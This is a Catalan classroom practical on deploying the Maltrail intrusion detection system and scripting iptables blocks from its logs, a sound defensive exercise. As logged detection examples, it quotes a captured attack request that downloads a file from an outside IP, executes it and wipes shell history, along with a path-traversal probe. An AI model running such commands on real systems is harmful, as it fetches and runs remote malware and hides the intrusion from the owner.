pràctica-ids-maltrail

, , , , ,

Utilització de l’ids maltrail com a detector d’intrussions i afegirem opcions de bloqueig a les deteccions a traves d’un script que recull del log de l’ids.

Una vegada instal·lat té un entorn web per visualitzar els events a la http://ip:8338 amb credencials per defecte admin - changeme!

Visitar el projecte maltrail https://github.com/stamparm/maltrail

Pot tenir una arquitectura sensor server per separat o integrat a la mateixa màquina. El nostre cas seria utilitzar l’enrutador de l’organització incorporant aquest ids.

En el nostre centre es troba instal·lat en el router tallafocs gestionant tot el tràfic d’entrada i sortida del centre les 24h.

Tenim instal·lació separada, es troba als servidors de moodle, darrera del proxy-invers d’apache.

quick start instal·lació

For Ubuntu/Debian

Instal·lació-mailtrail-debian
sudo apt-get install git python3 python3-dev python3-pip python-is-python3 libpcap-dev build-essential procps schedtool
sudo pip3 install pcapy-ng
git clone --depth 1 https://github.com/stamparm/maltrail.git
cd maltrail
sudo python3 sensor.py &
sudo python3 server.py &

Exemple de detecció

detall del contingut de la petició ‘potential remote code execution’

IPSERVIDOR/shell?cd /tmp;wget http://103.147.122.68/.3 -o fnu;chmod 777 fnu;sh fnu;rm -rf fnu;history -w;history -c

IPSERVIDOR/cgi-bin/../../../../bin/sh

I ALTRES deteccions

La instal·lació de maltrail ja està molt bé documentada a la web del proveïdor. Realitzar el test també és molt fàcil

To test that everything is up and running execute the following

comanda-ping
ping -c 1 136.161.101.53
 
cat /var/log/maltrail/$(date +"%Y-%m-%d").log

Per realitzar el bloqueig dependrà de la classificació de la columna ‘info’, entre altres

La idea seria convertir aquest ids en ips.

El log de maltrail està guardat diariament a /var/log/maltrail

comanda-logs
root@l:/var/log/maltrail# ls -lt
total 1720376
-rw-r--r-- 1 root root   868862 jul 10 23:35 2022-07-10.log
-rw-r--r-- 1 root root   577587 jul  9 23:57 2022-07-09.log
-rw-r--r-- 1 root root   481074 jul  8 23:55 2022-07-08.log
-rw-rw-rw- 1 root root   226401 jul  8 06:59 error.log
-rw-r--r-- 1 root root   432028 jul  7 23:59 2022-07-07.log
-rw-r--r-- 1 root root   362347 jul  6 23:58 2022-07-06.log

Contingut log maltrail

comanda-logs
root@l:/var/log/maltrail# more 2022-07-10.log
"2022-07-10 00:00:06.485294" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485298" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485190" zentyal 197.45.35.19 53510 172.16.1.1 9090 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485298" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485294" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485190" zentyal 197.45.35.19 53510 172.16.1.1 9090 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:15.333043" zentyal 222.186.19.205 57034 172.16.1.1 9080 TCP IP 222.186.19.205 "known attacker" "blocklist.de (+emergingthreats.net,greensnow.co,rulez.s
k,rutgers.edu)"
……

Si ara filtrem per valors a la columna info per trobar el potential code execution presentat anteriorment amb la ip 45.61.185.76

comanda-logs
rootl:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|grep 45.61.185.76
"2022-07-10 04:13:11.375192" l 45.61.185.76 42122 172.16.1.1 80 TCP URL 80.59.197.13(/shell?cd%20%2ftmp%3bwget%20http%3a%2f%2f103.147.122.68%2f.3%20-o%20fnu%3bchmod%20777%20fnu%3bsh%20fnu%3brm%20-rf%20fnu%3bhistory%20-w%3bhistory%20-c) "potential remote code execution (suspicious)" (heuristic)
"2022-07-10 04:13:11.375257" l 45.61.185.76 42122 192.168.1.175 80 TCP URL 80.59.197.13(/shell?cd%20%2ftmp%3bwget%20http%3a%2f%2f103.147.122.68%2f.3%20-o%20fnu%3bchmod%20777%20fnu%3bsh%20fnu%3brm%20-rf%20fnu%3bhistory%20-w%3bhistory%20-c) "potential remote code execution (suspicious)" (heuristic)
 
……

la columna 4 que és la que conté la ip agressora

cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}'

o

root@l:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|cut -d ' ' -f 4

Finalment, aquestes son les ip detectades avui

comanda-filtre
root@l:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}' | sort| uniq -c| awk '{print $2}'
103.251.167.21
104.248.244.119
107.181.185.226
114.249.223.57
114.35.102.141
1.235.128.206
128.199.43.218
129.146.241.147
134.122.66.121
134.209.198.12
138.68.91.192
139.255.4.205
139.59.87.181
141.98.10.157
141.98.10.74
141.98.11.29
144.172.73.66
159.89.115.75
162.247.72.199
165.227.124.168
167.172.207.63
167.172.50.255
179.60.147.74
181.49.53.26
182.75.139.26
185.146.232.168
185.196.220.70
185.220.100.240
185.220.100.241
185.220.100.244
185.220.100.255
185.220.101.47
185.220.102.7

Realitzem la redirecció a un fitxer.data per tenir les ip’s

comanda-ips-exportades
fecha=$(date +%F)
echo $fecha
A=ip-ids.$fecha
echo $A
cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A

Finalment podem intergrar-ho amb iptables per tal d’afegir-les directament a partir del fitxer generat.

comanda-ips-ids-iptables
fecha=$(date +%F)
echo $fecha
A=ip-ids.$fecha
echo $A
#cat /var/log/maltrail/2022-07-13.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code|directory|shells|proxy|sql|config)' | awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A
#no poso sql pq de vegades son alumnes als serveis interns.
cat /var/log/maltrail/$(date +"%Y-%m-%d").log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code|directory|shells|proxy|config|php injection)' | awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A
 
 
for ip in $(cat $A); do
    echo $ip
    #comprovem si la ip està ja dintre del tallafocs, grep -w nomes per aquesta paraula, si no està l'afegim en diferents taules.
    GG=$(/sbin/iptables -nvL INPUT |grep -w $ip | uniq -c | awk '{print $9}' )
    if [ ! $GG ] ; then
        /sbin/iptables -t mangle -A PREROUTING -s $ip -j DROP
        /sbin/iptables -A INPUT -s $ip -j DROP
        /sbin/iptables -A FORWARD -s $ip -j DROP
        /sbin/iptables -A OUTPUT -d $ip -j DROP
 
 
        echo 'ESCRIBO NUEVA IP BLOQUEIG'
    fi
    #echo 'ja estava' $ip
done;
echo 'FINALItZAt Afegir les noves ip-ids'


EXERCICI

  1. Afegir a crontab l'execució repetida del teu script
  2. L'alumne provocarà nvoes entrades a l'ids a traves per exemple de nmap, opció cercar vulnerabilitats, per tal de comprovar el seu funcionament i ajustar la periocitat al cron
  3. nmap x.x.x.x -A -T4 -sV –script vuln -p 80,443,1521